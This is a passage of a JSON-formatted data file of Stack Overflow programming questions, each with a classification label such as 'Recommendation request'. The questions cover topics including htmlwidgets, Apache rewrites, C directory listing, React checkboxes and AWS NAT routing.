plots would have to change on a daily basis how would I be able to automate it?</p>\n\n<p>For instance, <a href=\"http://www.buildingwidgets.com/blog/2016/8/4/htmlwidgets-look-ma-no-r\" rel=\"nofollow noreferrer\">htmlwidgets | Look Ma No R</a> demonstrates how <code>htmlwidgets</code> can be called from JavaScript. Can we use this method or something similar to provide dynamic data from some other source than R?</p>\n\n<p>The <code>data\\x</code> argument (see <a href=\"https://github.com/ramnathv/htmlwidgets/blob/master/R/htmlwidgets.R#L316\" rel=\"nofollow noreferrer\">line</a>) for <code>htmlwidgets</code> is data from the R environment, so there is no api for doing this. Is there a hack to supply this data?</p>\n"},{"Classification":"Recommendation request","Title":"Vim live interactive runtime plugin for python","Body":"<p>I am looking for a VIM plugin that I can run as a split window to execute the code and run live Python code instead of using !python which jumps out of the <strong>.py</strong> file every time.</p>\n"},{"Classification":"Recommendation request","Title":"How to get a cell value of sql table in c#","Body":"<p>I have one table in SQL server like:</p>\n\n<pre><code>id range small medium tall\n1 0-13 0.4 0.2 0.6\n2 14-30 0.5 0.1 0.9\n</code></pre>\n\n<p>now I want to ask the user to enter the range and one of (small or medium and tall) and the system returns its value. for example, the user enters 0-13 and small, now the result must be 0.4 in output.</p>\n\n<p>How to write its query in LINQ in c#.</p>\n\n<p>regards,</p>\n"},{"Classification":"Recommendation request","Title":"How to add authorization token in incoming http request header","Body":"<p>I'm implementing token authentication via DRF(Django-rest-framework). So far I've understood that in token authentication you exchange your credential with a token which server had had already generated for every user. Then you put that token in every request header to the API, without worrying about the cookies. </p>\n\n<p>Now I know how to generate token and write to view to authenticate and issue token. However, I haven't figured out how to put token in the http header, which I suppose need to be done in front-end.</p>\n\n<p>I tried to search but there doesn't seems to a clear answer on the internet how to do it.</p>\n"},{"Classification":"Recommendation request","Title":"Configuration of Informix for PHP using Docker","Body":"<p>I was looking for a tutorial or a ready to use docker image that configures a PHP7 environment with ODBC/PDO_INFORMIX preinstalled but couldn't find it.</p>\n\n<p>So i decided to do it by my self, but now i can't find a link to download the Informix Client SDK !</p>\n\n<p>Please, any documentation about this and a working link to download the CSDK !</p>\n\n<p>Thank you.</p>\n"},{"Classification":"Recommendation request","Title":"Apache rewrite/redirect rule","Body":"<p>I have a series of PHP script URL endpoints that I need to replace the prefix URL with that of our proxy servers URL</p>\n\n<pre><code>http://www.library.ohio.edu/ezpauth/redir/athens.php?http://www.jstor.org/ \n http://www.library.ohio.edu/ezpauth/redir/all_weak.php?http://www.jstor.org/\nhttp://www.library.ohio.edu/ezpauth/redir/all_strong.php?http://www.jstor.org/\nhttp://www.library.ohio.edu/ezpauth/redir/ac.php?http://www.jstor.org/\n</code></pre>\n\n<p>Among several other PHP scripts that are filtering access based upon IP address, anywho that isn't important.</p>\n\n<p>I need an apache rewrite rule that will rewrite the prefix URL and redirect/replace it with </p>\n\n<p><strong><em><a href=\"https://proxy.library.ohio.edu/login\" rel=\"nofollow noreferrer\">https://proxy.library.ohio.edu/login</a></em></strong></p>\n\n<p>But will keep the GET parameter url</p>\n\n<p>So if someone clicks on <a href=\"http://www.library.ohio.edu/ezpauth/redir/athens.php?http://www.jstor.org/\" rel=\"nofollow noreferrer\">http://www.library.ohio.edu/ezpauth/redir/athens.php?http://www.jstor.org/</a> </p>\n\n<p>It will redirect to <a href=\"https://proxy.library.ohio.edu/login?url=http://www.jstor.org/\" rel=\"nofollow noreferrer\">https://proxy.library.ohio.edu/login?url=http://www.jstor.org/</a> instead</p>\n"},{"Classification":"Recommendation request","Title":"Implement facial recognition to mark attendance in android","Body":"<p>I am developing an android application that will enable an organisation to help them mark attendance of every employer through Face recognition.</p>\n\n<p>Once the face is recognised i want to hit a rest webservice in the background that will store the user id ,user name and his login time in the backend database.</p>\n\n<p>Can anyone kindly provide me with the best solutions on how to start implementing the above concept</p>\n\n<p>Thanks In advance</p>\n"},{"Classification":"Recommendation request","Title":"Is there a list of all alphanumeric signs in python?","Body":"<p>Is there a list that contains all lower cases, upper cases, and numbers in python?</p>\n\n<p>\"string\" does not have such a list.</p>\n"},{"Classification":"Recommendation request","Title":"JavaScript libraries for working with pictures","Body":"<p>Is there a good library that can work with pictures in JavaScript and is relatively easy to use? Must work for mobiles. I am going to give a brief explanation of what I'm actually looking for:</p>\n\n<p>Let's say we have three users: A, B and C. User A recently took a picture with his phone and uploaded it to the server. He also <strong>draws</strong> a circle (must be on a separate layer) on the picture (let's say he wanted to mark the TV or some other object on the picture). Now user B and user C receive the actual picture (has the circle on it). User B decided to <strong>move</strong> the circle to another object and he also created a square. User C got the updated picture from user B and decided to <strong>toggle off</strong> both the circle and the square.</p>\n\n<p>So what I am looking for is a JS library that can work with pictures on mobiles. The functionalities that I need are:</p>\n\n<ul>\n<li><p>drawing objects on the picture (let's say each user has only 1 layer)</p></li>\n<li><p>once the picture is recieved the layers from other users must be toggleable (each user can check what the other user marked)</p></li>\n<li><p>the move part isn't actually needed but would be cool to have</p></li>\n</ul>\n"},{"Classification":"Recommendation request","Title":"Call a method when a the hosted website is stopped from IIS","Body":"<p>I have a WebApi written in c# based on .NET framework, hosted on IIS.\nI need to call a particular method when a the hosted website is stopped from IIS.\nPlease suggest what event or logic should be written to achieve this.</p>\n\n<p>Thanks in Advance.</p>\n"},{"Classification":"Recommendation request","Title":"Is there a library for recording video in python3, with capabilities similar to Nvidia Shadowplay","Body":"<p><strong>What I would like</strong><br>\nA python3 library that I can tell at a high level to start recording video and then later on, tell it to save to disk only the last n seconds that I want.</p>\n\n<p><strong>Why</strong><br>\nA friend of mine is developing a selenium script and it could help his debugging to have say a video of the last 15-30 seconds prior to the script failing. Currently he's using logging and screenshots, but a video can be even more helpful on top of that.</p>\n\n<p>I'm thinking about making a library myself with something like perhaps opencv if no such high level library already exists. I have written a library with these capabilities before in pascal, but I would however really like to make sure that I'm not reinventing the wheel here.</p>\n\n<p><strong>Research I've already done</strong><br>\nI've found an old video recording library suggested here years ago <a href=\"https://stackoverflow.com/a/17499307/8333189\">https://stackoverflow.com/a/17499307/8333189</a> but it seems to only support python2, not python3. And it's capabilities might be more limited than what I'm desiring.</p>\n\n<p>This library seems to provide what I want, and for python3! <a href=\"http://picamera.readthedocs.io/en/release-1.10/recipes1.html#recording-to-a-circular-stream\" rel=\"nofollow noreferrer\">http://picamera.readthedocs.io/en/release-1.10/recipes1.html#recording-to-a-circular-stream</a> But alas it seems to only work for raspberry pis? When I tried to install and import it on windows I got an OSError.</p>\n"},{"Classification":"Recommendation request","Title":"Auto-analyzing scripts for php 7 migration","Body":"<p>I want to migrate my php application from version 5.6 to 7. For this purpose I already found the migration guide with many useful tipps.<br>\nBecause my application consists of many files (about 10,000) I'm looking for a tool/script which analyzes my files. Last time I migrated from 5.5 to 5.6 I had a script which iterates over all files and outputs a list of suggestions to change, f.e. deprecated functions, new operators etc.<br>\nIs there something equal for php 7?</p>\n"},{"Classification":"Recommendation request","Title":"how to load dae model and apply texture","Body":"<p>I have the task: apply texture(example, in .png format) to 3D model(.dae). Simple usage : app -i \"dae file\" -t \"texture file\" and I get textured \"dae file\". I looked through many forums, but I did not understand how to solve this task. As I understood, the following steps must be taken: </p>\n\n<ol>\n<li>Load and parse model</li>\n<li>Load and parse texture</li>\n<li>Do UVUnwrap, add material and apply texture</li>\n<li>Export textured model</li>\n</ol>\n\n<p>Now:\ni wrote model loading and parsing(assimp library). I got vertices(position, normal, uvCoord), indices, textures;</p>\n\n<pre><code>struct Vertex\n{\n Vector3f position;\n Vector3f normal;\n Vector2f uvCoordinate;\n};\n\nstruct Texture\n{\n std::string type;\n aiString path;\n}; \n\nclass Mesh\n{\n std::vector&lt;Vertex&gt; _vertices;\n std::vector&lt;unsigned&gt; _indices;\n std::vector&lt;Texture&gt; _textures;\n ...\n}\n</code></pre>\n\n<p>But, I do not know how to work with the texture. how to apply it to the model, so that it would be:</p>\n\n<p>untextured model: <a href=\"http://i105.fastpic.ru/big/2018/0710/e6/7639a8bc500c212c96f3817d003ccee6.png\" rel=\"nofollow noreferrer\">http://i105.fastpic.ru/big/2018/0710/e6/7639a8bc500c212c96f3817d003ccee6.png</a></p>\n\n<p>texture: <a href=\"http://i104.fastpic.ru/big/2018/0710/f1/4b2fd3fd4b8142a84be687b1a6b868f1.jpg\" rel=\"nofollow noreferrer\">http://i104.fastpic.ru/big/2018/0710/f1/4b2fd3fd4b8142a84be687b1a6b868f1.jpg</a></p>\n\n<p>textured model(the model I want to get):\n<a href=\"http://i104.fastpic.ru/big/2018/0710/50/008fd7173b377f4f282057e4e56cb550.png\" rel=\"nofollow noreferrer\">http://i104.fastpic.ru/big/2018/0710/50/008fd7173b377f4f282057e4e56cb550.png</a></p>\n"},{"Classification":"Recommendation request","Title":"Does android cater for soming like a Checkbox group similar to the RadioButton group?","Body":"<p>Does android cater for something like a Checkbox group similar to the RadioButton group? For example, you check 2 option, something that can instantly tell will options were not checked , just like the RadioButton will do.</p>\n\n<p>What I am trying to achieve is is to get instant listener effect on select items and those not selected just as can be achieved on the RadioGroup. The difference here is that I am looking to achieve this this checkboxes</p>\n"},{"Classification":"Recommendation request","Title":"Exmple about how can I use DISOpticalFlow on emgucv 3.0?","Body":"<p>I have a problem using <code>DISOpticalFlow.Calc()</code> method. I'm <code>Emgu.CV.IInputOutputArray</code> variable to get the result of <code>DISOpticalFlow.Calc()</code> method, however the <code>Emgu.CV.IInputOutputArray.data</code> (\"CalFlow.data\" in the code below) is empty...!! </p>\n\n<p>Is there any example for using DISOpticalFlow class to obtain optical flow?</p>\n\n<pre><code>public partial class Form1 : Form\n{\n Image&lt;Bgr, byte&gt; inputColorImage_1;\n Image&lt;Bgr, byte&gt; inputColorImage_2;\n Image&lt;Gray, byte&gt; inputGrayImage_01;\n Image&lt;Gray, byte&gt; inputGrayImage_02;\n\n DISOpticalFlow OptiFlow = new DISOpticalFlow(DISOpticalFlow.Preset.Medium);\n Emgu.CV.IInputOutputArray CalFlow;\n\n\n public Form1()\n {\n InitializeComponent();\n OptiFlow.FinestScale = 0;\n OptiFlow.GradientDescentIterations = 10;\n OptiFlow.PatchSize = 12;\n }\n\n private void loadImageToolStripMenuItem_Click(object sender, EventArgs e)\n {\n // DISOpticalFlow Class\n\n OpenFileDialog ofd = new OpenFileDialog();\n if(ofd.ShowDialog()==DialogResult.OK)\n {\n inputColorImage_1 = new Emgu.CV.Image&lt;Bgr, byte&gt;(ofd.FileName);\n inputGrayImage_01 = inputColorImage_1.Convert&lt;Gray, byte&gt;();\n imageBox1.Image = inputColorImage_1;\n //imageBox1.Image = inputGrayImage_01;\n }\n }\n\n private void loadImage2ToolStripMenuItem_Click(object sender, EventArgs e)\n {\n OpenFileDialog ofd = new OpenFileDialog();\n if (ofd.ShowDialog() == DialogResult.OK)\n {\n inputColorImage_2 = new Emgu.CV.Image&lt;Bgr, byte&gt;(ofd.FileName);\n inputGrayImage_02 = inputColorImage_2.Convert&lt;Gray, byte&gt;();\n\n imageBox2.Image = inputColorImage_2;\n //imageBox2.Image = inputGrayImage_02;\n\n CalFlow = new Image&lt;Gray, byte&gt;(inputGrayImage_02.Width, inputGrayImage_02.Height);\n }\n }\n\n private void OptiFlowBot_01_Click(object sender, EventArgs e)\n {\n\n if (inputGrayImage_01 != null &amp;&amp; inputGrayImage_02 !=null)\n {\n OptiFlow.Calc(inputGrayImage_01, inputGrayImage_02, CalFlow); \n }\n }\n}\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Game engine that doesn&#39;t force oop","Body":"<p>I'm looking for a Java/c# game engine without built in oop, like allowing you to show graphics with built in function in the engine, not forcing you to create Sprite object, sound object, etc.. </p>\n"},{"Classification":"","Title":"Mautic API return Array when empy and Object when has data","Body":"<p>I'm integrating my Java system with Mautic through API using Retrofit2.</p>\n\n<p>This is a simple GET with filter to return <a href=\"https://developer.mautic.org/#list-contacts\" rel=\"nofollow noreferrer\">Contacts</a>:</p>\n\n<p><code>https://server/api/contacts?minimal=1&amp;search=mail@server.com.br</code></p>\n\n<p>The problem is:</p>\n\n<p>When there is one or more contacts with this filter, the return is:</p>\n\n<pre><code>{\n \"total\": \"1\",\n \"contacts\": {\n \"16252\": {data from contact here}\n }\n}\n</code></pre>\n\n<p>And when there is no contact with the filter, the return is:</p>\n\n<pre><code>{\n \"total\": \"0\",\n \"contacts\": []\n}\n</code></pre>\n\n<p>Can you see the problem? In one case, the contacts is an Object, and in the other case is and empty Array.</p>\n\n<p><strong>How could I solve this problem on my Class?</strong></p>\n\n<p>Work with result: <code>private Map&lt;Object, Contact&gt; contacts;</code></p>\n\n<p>Work without result: <code>private Object/Anything[] contacts;</code></p>\n\n<p>Here is the full return class that I'm using:</p>\n\n<pre><code>import lombok.Getter;\nimport lombok.Setter;\n\nimport java.util.Map;\n\n@Getter\n@Setter\npublic class ListContactsResult {\n\n private Map&lt;Object, Contact&gt; contacts;\n private int total;\n}\n</code></pre>\n\n<p><strong>I would be useful if I could simply ignore the field \"contacts\" when it's empty. But I don't know how.</strong></p>\n"},{"Classification":"","Title":"Prime checking program not working on certain numbers","Body":"<p>I was excited because my prime number program was working, but when I tried <em>certain numbers like <strong>5</strong> and <strong>10</strong>, <strong>2</strong> and <strong>11</em></strong>, it wasn't working. I have tried to figure it out myself, and by looking at other things related to what I was doing, but <em>I couldn't figure it out</em>. <strong>I would appreciate an answer</strong> and <strong>thank everyone who helps</strong>, because I am just a beginner at coding and want to learn more.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var minimum;\nvar maximum;\nvar primes;\n\nfunction myFunction(e) {\n e.preventDefault();\n minimum = document.getElementById('Minimum').value;\n maximum = document.getElementById('Maximum').value;\n primes = [];\n\n listOfPrimes(minimum, maximum); \n primes = primes.filter(function(x) {\n return x &gt; 1;\n });\n primes = primes.toString();\n primes = primes.replace(/,(?=[^\\s])/g, \", \");\n document.getElementById(\"Your_Primes\").innerHTML = primes;\n}\n\nfunction isPrime(num) {\n for (var i = 2; i &lt;= num / 2; i++)\n if (num % i === 0) {\n return false;\n }\n primes.push(num);\n}\n\nfunction listOfPrimes(min, max) {\n for (var j = min; j &lt;= max; j++) {\n isPrime(j);\n }\n}</code></pre>\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>body {\n\tbackground-color: #dbdbdb;\n}\n\n#prime-checker {\n\tbackground-color: #89a9dd;\n\tmargin: 5px;\n\tpadding: 5px;\n\ttext-align: center;\n}\n\n.the-primes {\n\tbackground-color: #587cb7;\n\tpadding: 15px;\n\tmargin: 10px;\n}</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;!doctype html&gt;\n\n&lt;html&gt;\n&lt;head&gt;\n\t&lt;title&gt;Prime Lister&lt;/title&gt;\n\t&lt;link href=\"main.css\" rel=\"stylesheet\" type=\"text/css\"&gt;\n&lt;/head&gt;\n&lt;body&gt;\n\n&lt;div id=\"prime-checker\"&gt;\n\n&lt;form&gt;\n &lt;h2&gt;Minimum Number:&lt;/h2&gt;&lt;br&gt;\n &lt;input type=\"number\" placeholder=\"MinimumWholeNumber\" id=\"Minimum\" multiple=\"1\" min=\"0\" required&gt;&lt;br&gt;&lt;br&gt; \n &lt;h2&gt;Maximum Number:&lt;/h2&gt;&lt;br&gt;\n &lt;input type=\"number\" placeholder=\"MaximumWholeNumber\" id=\"Maximum\" multiple=\"1\" min=\"0\" required&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;\n &lt;button id=\"button\" onclick=\"myFunction(event)\"&gt;Enter&lt;/button&gt;\n&lt;/form&gt;\n\n\n&lt;div class=\"the-primes\"&gt;&lt;h2&gt;Your Primes:&lt;/h2&gt;\n &lt;p id=\"Your_Primes\"&gt;&lt;/p&gt;\n&lt;/div&gt;\n\n&lt;/div&gt;\n\n&lt;script type=\"text/javascript\" src=\"Web_Prime_Lister.js\"&gt;&lt;/script&gt;\n&lt;/body&gt;\n&lt;/html&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"second TODOLIST, model(task) ajax action create don't work after submiting first model(project) create ajax action","Body":"<p>heroku - <a href=\"https://test-task-ruby-garage.herokuapp.com/\" rel=\"nofollow noreferrer\">https://test-task-ruby-garage.herokuapp.com/</a></p>\n\n<p>test@gmail.com , pass - 123456 </p>\n\n<hr>\n\n<p>github - <a href=\"https://github.com/IgorShkidchenko/TestTaskRG\" rel=\"nofollow noreferrer\">https://github.com/IgorShkidchenko/TestTaskRG</a></p>\n\n<p><strong>I'm newbie</strong></p>\n\n<p>I'm working now on test task from free Ruby courses company</p>\n\n<p>I have todolist with <code>user -&gt; projects -&gt; tasks</code></p>\n\n<p>NOTE: its one page todo app</p>\n\n<p>AJAX projects - create, update, delete\nAJAX tasks - create, update, delete, complete</p>\n\n<p>All actions works fine except one thing: </p>\n\n<p>when I create new project or update project the new task button (Add Task) didn't work, I can't understand why becouse there are no errors in console(XHR). I tried changing append on replaceWith in create.js and load() only div with new task form but it didn't help, helps only reload all page, but I need ajax method.</p>\n\n<p>Please help me! :)</p>\n"},{"Classification":"","Title":"Getting Error \"A Certificate is required to complete client authentication\" with WinHttpRequest when passing Client Certificate","Body":"<p>I am using below to connect to a HTTP service that requires Client Cert Authentication as well. I have the Client Certificate and the Client Cert Key.</p>\n\n<p>I tried using solely the Client Certificate on the SetClientCertificate and tried using the combined certificate (i.e. added the contents of the key and then the contents of the client certificate). </p>\n\n<p>Both gave the same error - \"A certificate is required to complete client authentication\". </p>\n\n<p>I have the client certificates locally stored and am not accessing it off the registry. Is that a problem too?</p>\n\n<p>Please advise!! </p>\n\n<p>Code Snippet:</p>\n\n<pre><code>Set objHTTP = CreateObject(\"WinHttp.WinHttpRequest.5.1\")\nobjHTTP.SetClientCertificate (\"&lt;&lt;Location&gt;&gt;\\combined.pem\")\n</code></pre>\n"},{"Classification":"","Title":"Regex Everything except Item ID","Body":"<p>I'm trying to matching everything in comma delimited string that is not a Change Notice (CN) id, which is an alpha-numeric id starting with \"CN\".\nThe string is a list of items separated by a comma, where each item entry shows the item id followed by a \"~-~\" and some jargon.</p>\n\n<p><br/>\n<br/>\nHe's an example string:</p>\n\n<blockquote>\n <p>CN98765432~-~ECN for A01234 Rev A,CR00098765~-~ECR for A12345 SOME PART NAME,CN12345678~-~ECN for A12345 Rev A</p>\n</blockquote>\n\n<p>In this string, I want to match everything except \"CN98765432\" (which appears at the beginning) and \"CN12345678\" (which appears at the end after the last comma)</p>\n\n<p><br/>\nI've tried using <code>.*(?=CN\\d)</code>, which I assumed would grab everything that ends before a \"CN\", but that incorrectly matched</p>\n\n<blockquote>\n <p>CN98765432~-~ECN for A01234 Rev A,CR00098765~-~ECR for A12345 SOME PART NAME,</p>\n</blockquote>\n\n<p>, which includes the initial CN.</p>\n\n<p>I also tried <code>.*((?=CN\\d)|$)</code>, but that matched the entire string.</p>\n\n<p><br/>\n<br/>\nI've looked at similar problems but I was not able to adapt the answers into something suitable for my issue.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/7124778/how-to-match-anything-up-until-this-sequence-of-characters-in-a-regular-expres/32702991\">How to match &quot;anything up until this sequence of characters&quot; in a regular expression?</a></p>\n\n<p><a href=\"https://stackoverflow.com/questions/20256873/regex-everything-but\">Regex everything but</a>\n<br/>\n<br/></p>\n\n<p>How do I match everything except for the CN IDs?</p>\n\n<p><br/>\n<br/>\nI'm using regex ex inside a java based software, so I believe this is a JavaScript flavored regex.</p>\n"},{"Classification":"","Title":"C opendir() not opening a directory?","Body":"<p>I'm not all that experienced in C, but have an assignment in one of my classes, and I'm having a few issues opening a directory.</p>\n\n<p>The purpose of the program is to (paraphrased):</p>\n\n<ol>\n<li>If no flag or directory is provided, list names of files in current directory.</li>\n<li>If a flag (-l) is provided, list more information about each file.</li>\n<li>If a flag and a directory are provided, go to that directory and list information about each file (or directory) in that directory. It's not necessary to recurse through subdirectories.</li>\n</ol>\n\n<p>It doesn't need to handle getting only a directory but no flag, or an invalid directory. It's more proof-of-concept.</p>\n\n<p>I've managed to satisfy parts 1 and 2, but part 3 keeps breaking, giving a segmentation fault.</p>\n\n<p>My code is as follows:</p>\n\n<pre><code>void recursedirect(char* flag, char* directory)\n{\n DIR* dir;\n struct dirent *entry;\n\n printf(\"Flag: %s\\nDirectory: %s\\n\\n\", flag, directory);\n\n if (flag == NULL)\n // No flag provided, therefore only do file names.\n {\n dir = opendir(\".\");\n entry = readdir(dir);\n\n while (entry != NULL) \n {\n printf (\"%s\\n\", entry-&gt;d_name);\n entry = readdir(dir);\n }\n }\n else if (strcmp(flag, \"-l\") == 0 &amp;&amp; directory == NULL)\n // No directory provided, but flag provided\n {\n dir = opendir(\".\");\n entry = readdir(dir);\n\n while (entry != NULL) \n {\n fileinfo(directory);\n entry = readdir(dir);\n } \n }\n else if (strcmp(flag, \"-l\") != 0)\n {\n printf(\"Invalid flag.\\n\");\n }\n else\n // A directory is provided\n {\n dir = opendir(directory);\n\n if (dir != NULL)\n {\n entry = readdir(dir);\n\n while (entry != NULL) \n {\n fileinfo(directory);\n entry = readdir(dir);\n } \n }\n else\n printf(\"Something went wrong. It might be an invalid filename.\\n\");\n }\n}\n</code></pre>\n\n<p>Specifically, the else statement at the end is giving me trouble. I've tried giving it any filepaths I can think of, hardcoded and otherwise, and it's still giving me issues. I'm guessing it's something simple, but I don't have enough experience to know what it is.</p>\n\n<p><code>fileinfo</code> is a function that prints out the file information given a <code>DIR</code> and <code>dirent</code> as arguments. However, the error definitely isn't in that code best I can tell.</p>\n\n<p>EDIT: I made the mistake of not sharing everything. My main method is pretty simple.</p>\n\n<pre><code>int main (int argc, char** argv)\n{\n char* flag = argv[1];\n char* directory = argv[2];\n\n recursedirect(flag, directory);\n}//main\n</code></pre>\n\n<p>It includes the following:</p>\n\n<pre><code>#include &lt;dirent.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;sys/stat.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;time.h&gt;\n#include &lt;fcntl.h&gt;\n</code></pre>\n\n<p>And the <code>fileinfo</code> function is as follows (edited slightly, as I realised I no longer needed to give it an argument of <code>DIR *dir</code>):</p>\n\n<pre><code>void fileinfo(struct dirent *entry)\n{\n struct stat fileStats;\n stat(entry-&gt;d_name, &amp;fileStats);\n\n printf(\"File Name: %s\\n\", entry-&gt;d_name);\n printf(\"File Size: %d bytes\\n\", (int) fileStats.st_size);\n printf(\"Number of Blocks: %d\\n\", (int) fileStats.st_blocks);\n printf(\"Number of Links/References: %d\\n\", (int) fileStats.st_nlink);\n printf(\"I-Node: %d\\n\", (int) fileStats.st_ino);\n printf(\"Device ID: %d\\n\", (int) fileStats.st_dev);\n printf(\"User ID: %d\\n\", (int) fileStats.st_uid);\n printf(\"Group ID: %d\\n\", (int) fileStats.st_gid);\n\n stat(\"alphabet\",&amp;fileStats);\n printf(\"Time of Last Access: %s\", ctime(&amp;fileStats.st_atime));\n printf(\"Time of Last Modification: %s\", ctime(&amp;fileStats.st_mtime));\n printf(\"Time of Last Status Change: %s\", ctime(&amp;fileStats.st_ctime));\n\n stat(entry-&gt;d_name, &amp;fileStats);\n printf(\"File Permissions: \");\n printf((int) (S_ISDIR(fileStats.st_mode)) ? \"d\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IRUSR) ? \"r\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IWUSR) ? \"w\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IXUSR) ? \"x\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IRGRP) ? \"r\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IWGRP) ? \"w\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IXGRP) ? \"x\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IROTH) ? \"r\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IWOTH) ? \"w\" : \"-\");\n printf((int) (fileStats.st_mode &amp; S_IXOTH) ? \"x\\n\\n\" : \"-\\n\\n\");\n}\n</code></pre>\n\n<p>As for more clarification on failed inputs, <code>./files</code> and <code>./files -l</code> both work. <code>./files</code> with any invalid flag is caught as intended. However, <code>./files -l *any valid filepath*</code> consistently fails.</p>\n\n<p>Everything is compiled using <code>gcc</code> in Ubuntu 14.04.5 in the c9.io IDE.</p>\n\n<p>Thank you!</p>\n\n<p>EDIT 2: I've tried deleting and putting back the file, and now strangely I'm not getting the error. However, now it won't print full file info for anything. I'll troubleshoot some more.</p>\n\n<p>EDIT 3: I've fixed it with one exception. The issue was an incorrect if statement checking the flag. Apparently something was going wrong in the IDE. I'm now getting this error: <code>Couldn't open MANPATH=/home/ubuntu/.nvm/versions/node/v6.11.2/share/man:/usr/local/rvm/rubies/ruby-2.4.0/share/man:/usr/local/man:/usr/local/share/man:/usr/share/man:/usr/local/rvm/man</code></p>\n\n<p>It looks like this isn't the code and is a problem with the c9 server in some way. I've tried giving both the source code and compiled code files full permissions, restarting the workspace, and restarting Apache2. Thank you all for everything!</p>\n"},{"Classification":"","Title":"React checkbox doesn't update on render correctly when clicked","Body":"<p>I have the following code to display a list of options in dropdown </p>\n\n<pre><code>_.map(listOptions, (value) =&gt; {\n const { key, label, checked } = value; \n return (\n &lt;li key={key} onClick={(e) =&gt; this.onSelect(e, key, checked)}&gt;\n &lt;input type=\"checkbox\" checked={!!checked} onChange={(e) =&gt; this.onSelect(e, key, checked)}/&gt;\n {label}\n &lt;/li&gt;\n );\n})\n</code></pre>\n\n<p>When I click on a list item (outside the checkbox), the function call is made correctly which sets the state and the list options look good. </p>\n\n<p>When I click on the actual checkbox, the checkbox is not enabled. It still remains in its previous state. When I click another checkbox, the previous one I clicked gets enabled. The options are always one step back to the current state. </p>\n\n<p>This only happens when I click on a checkbox. The options work correctly when I click on the list item. I tried multiple things for input checkbox onChange like <code>e.preventDefault()</code> and <code>e.stopPropagation</code>, however it still doesn't work. </p>\n\n<p>Update:\nURL: <a href=\"https://stackblitz.com/edit/react-3hbwdy\" rel=\"nofollow noreferrer\">https://stackblitz.com/edit/react-3hbwdy</a> \nIn the link, it works perfectly though!!</p>\n"},{"Classification":"","Title":"iPhone continues video recording effect?","Body":"<p>I have an iPhone and want to use it for video recording for video clips between 15 and 45 minutes at 1080 and I have 128g version so storage is not an issue, my question is does continues video recording affect the phone hardware or might cause damage of any type for the camera, battery or anything else?</p>\n"},{"Classification":"","Title":"Python ValueError: No JSON Object Could Be Decoded (Intermittent)","Body":"<p>Getting an error with the following code. However, sometimes it works and sometimes it doesn't. I have validated the data with JSONLint. I have tried to decode/encode the data based off responses to similar error questions and also tried the same using the codecs module. What I don't understand is why it sometimes works fine and then other times throws an error. </p>\n\n<pre><code>import requests\nimport json\nimport codecs\n\nresponse = requests.get(\"https://api.weather.gov/alerts/active\")\nprint(response.status_code)\n\nwith open ('data.json', 'w') as file:\n file.write(response.content)\n\nmyFile = open('data.json', 'r')\nmyObject = myFile.read()\nu = myObject.decode('utf-8-sig')\nmyObject = u.encode('utf-8')\nmyFile.encoding\nmyFile.close()\nmyData = json.loads(myObject, 'utf-8') \n\n#myData=json.loads(codecs.open(myObject,'r', 'utf-8'))\n</code></pre>\n\n<p>A sample of the JSON data can be found in another question I asked <a href=\"https://stackoverflow.com/questions/50028427/access-field-in-json-data/\">here</a>.</p>\n"},{"Classification":"","Title":"AJAX call to PHP page, no error_log();","Body":"<p>When my front end made an AJAX call with the following JS code:</p>\n\n<pre><code>const xhttp = new XMLHttpRequest();\n\nxhttp.open(\"POST\", (window.location.origin + \"/wordpress/wp-content/plugins/um-jogging-platform/core/umjp-removeData.php\"), true);\nxhttp.send();\n</code></pre>\n\n<p>The call was made to the umjp-removeData.php file which looks as follows:</p>\n\n<pre><code>&lt;?php\n\nerror_log('test');\necho 1 + 1;\n</code></pre>\n\n<p>When I inspected the file which I got back I was that result of the calculation, 2. However, to my suprise I didn't observe the log from the <code>error_log('test')</code>.</p>\n\n<p>What is causing this?</p>\n"},{"Classification":"","Title":"Python FTP can't finish commands","Body":"<p>Long and short is I'd like to use a python script to write then transfer a text document to a remote server. This is the early stages and the writing shouldn't be the concern so for sake of argument the base code is below:</p>\n\n<pre><code>import os\nfrom ftplib import FTP\nf = FTP('ip address')\nf.login('user','pass')\nf.cwd('location to deposit file')\nf.retrlines('LIST')\nos.chdir(\"C:\\\")\nfilename = 'filename.txt'\nf.storlines('STOR ' + filename, open(filename, 'rb'))\nf.quit()\n</code></pre>\n\n<p>This sequence should connect, list the text files in the directory, and then deposit the file there. <strong>This code works on my computer.</strong> </p>\n\n<p>The issue arises when I remote onto a different computer that uses IronPython 2.7.1. On this system with this compiler the connection appears to work but the compiler gets (for lack of better words) \"hung up\". It will never move past certain requests.</p>\n\n<p>I've included an image of it just \"waiting\". </p>\n\n<p>Internet, help me.</p>\n\n<p><img src=\"https://i.stack.imgur.com/wRVb8.png\" alt=\"a thing that may make sense...\"></p>\n\n\n"},{"Classification":"","Title":"How to have a Nat gateway for all ip's in AWS and allow returning traffic to not going through the NAT Gateway?","Body":"<p>I want to use an external service black lists ip's if they detect too much traffic from them (anti DOS). Thus I need to to be able to give this service a specific ip so they can whitelist that ip.</p>\n\n<p>So I create my nat gateway and set up the routing such any traffic going to this service goes via the nat gateway.</p>\n\n<p>The problem is this service is also a cloud service so its ip address is not static. </p>\n\n<p>So best case is that I can setup a filter for all IP addresses and route this via the nat gateway. Problem with this is the returning traffic also goes via the nat gateway. So this means I can no longer ssh into my instances or connect to my db from outside because as it's a secure link and requires the return to go via the same route.</p>\n\n<p>According to what 